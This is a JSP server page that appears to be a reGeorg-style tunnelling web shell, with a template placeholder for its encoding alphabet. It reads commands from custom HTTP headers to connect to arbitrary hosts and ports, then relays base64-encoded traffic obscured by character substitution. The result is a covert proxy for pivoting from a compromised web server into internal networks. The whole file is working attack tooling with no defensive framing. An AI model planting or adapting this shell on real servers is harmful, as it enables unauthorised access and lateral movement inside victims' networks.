<%@page import="java.nio.ByteBuffer, java.net.InetSocketAddress, java.nio.channels.SocketChannel, java.util.Arrays, java.io.IOException, java.net.UnknownHostException, java.net.Socket" %>
<%
	String cmd = request.getHeader("X-CMD");
	char[] en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
	char[] de = "BASE64 CHARSLIST".toCharArray();
	if (cmd != null) {
		response.setHeader("X-STATUS", "OK");
		if (cmd.compareTo("CONNECT") == 0) {
			try {
				String data = StrTr(request.getHeader("X-TARGET"), de, en);
				String[] target_ary = new String(new sun.misc.BASE64Decoder().decodeBuffer(data)).split("\\|");
				String target = target_ary[0];
				int port = Integer.parseInt(target_ary[1]);
				SocketChannel socketChannel = SocketChannel.open();
				socketChannel.connect(new InetSocketAddress(target, port));
				socketChannel.configureBlocking(false);
				session.setAttribute("socket", socketChannel);
				response.setHeader("X-STATUS", "OK");
			} catch (UnknownHostException e) {
				System.out.println(e.getMessage());
				response.setHeader("X-ERROR", e.getMessage());
				response.setHeader("X-STATUS", "FAIL");
			} catch (IOException e) {
				System.out.println(e.getMessage());
				response.setHeader("X-ERROR", e.getMessage());
				response.setHeader("X-STATUS", "FAIL");
				
			}
		} else if (cmd.compareTo("DISCONNECT") == 0) {
			SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
			try{
				socketChannel.socket().close();
			} catch (Exception ex) {
				System.out.println(ex.getMessage());
			}
			session.invalidate();
		} else if (cmd.compareTo("READ") == 0){
			SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
			try{
				ByteBuffer buf = ByteBuffer.allocate(513);
				int bytesRead = socketChannel.read(buf);
				ServletOutputStream so = response.getOutputStream();
				while (bytesRead > 0){
					byte[] data = new byte[bytesRead];
					System.arraycopy(buf.array(), 0, data, 0, bytesRead);
					byte[] base64 = StrTr(new sun.misc.BASE64Encoder().encode(data), en, de).getBytes();
					so.write(base64, 0, base64.length);
					so.flush();
					buf.clear();
					bytesRead = socketChannel.read(buf);
				}
				response.setHeader("X-STATUS", "OK");
				so.flush();
				so.close();
				
			} catch (Exception e) {
				System.out.println(e.getMessage());
				response.setHeader("X-ERROR", e.getMessage());
				response.setHeader("X-STATUS", "FAIL");
			}
			
		} else if (cmd.compareTo("FORWARD") == 0){
			SocketChannel socketChannel = (SocketChannel)session.getAttribute("socket");
			try {
				
				int readlen = request.getContentLength();
				byte[] buff = new byte[readlen];

				request.getInputStream().read(buff, 0, readlen);
				String data = StrTr(new String(buff), de, en);
				byte[] base64 = new sun.misc.BASE64Decoder().decodeBuffer(data);
				ByteBuffer buf = ByteBuffer.allocate(base64.length);
				buf.clear();
				buf.put(base64);
				buf.flip();

				while(buf.hasRemaining())
					socketChannel.write(buf);

				response.setHeader("X-STATUS", "OK");
				
			} catch (Exception e) {
				System.out.println(e.getMessage());
				response.setHeader("X-ERROR", e.getMessage());
				response.setHeader("X-STATUS", "FAIL");
				socketChannel.socket().close();
			}
		} 
	} else {
		out.print("Georg says, 'All seems fine'");  
	}
%>
<%!
	public String StrTr(String str, char[] from_list, char[] to_list){
		char [] newstr = str.toCharArray();
		for(int i=0; i<from_list.length; i++){
			for(int j=0; j<str.length(); j++){
				 if(str.charAt(j)==from_list[i])
					 newstr[j]=to_list[i];
			}
		 }
		return new String(newstr);
	}
%>
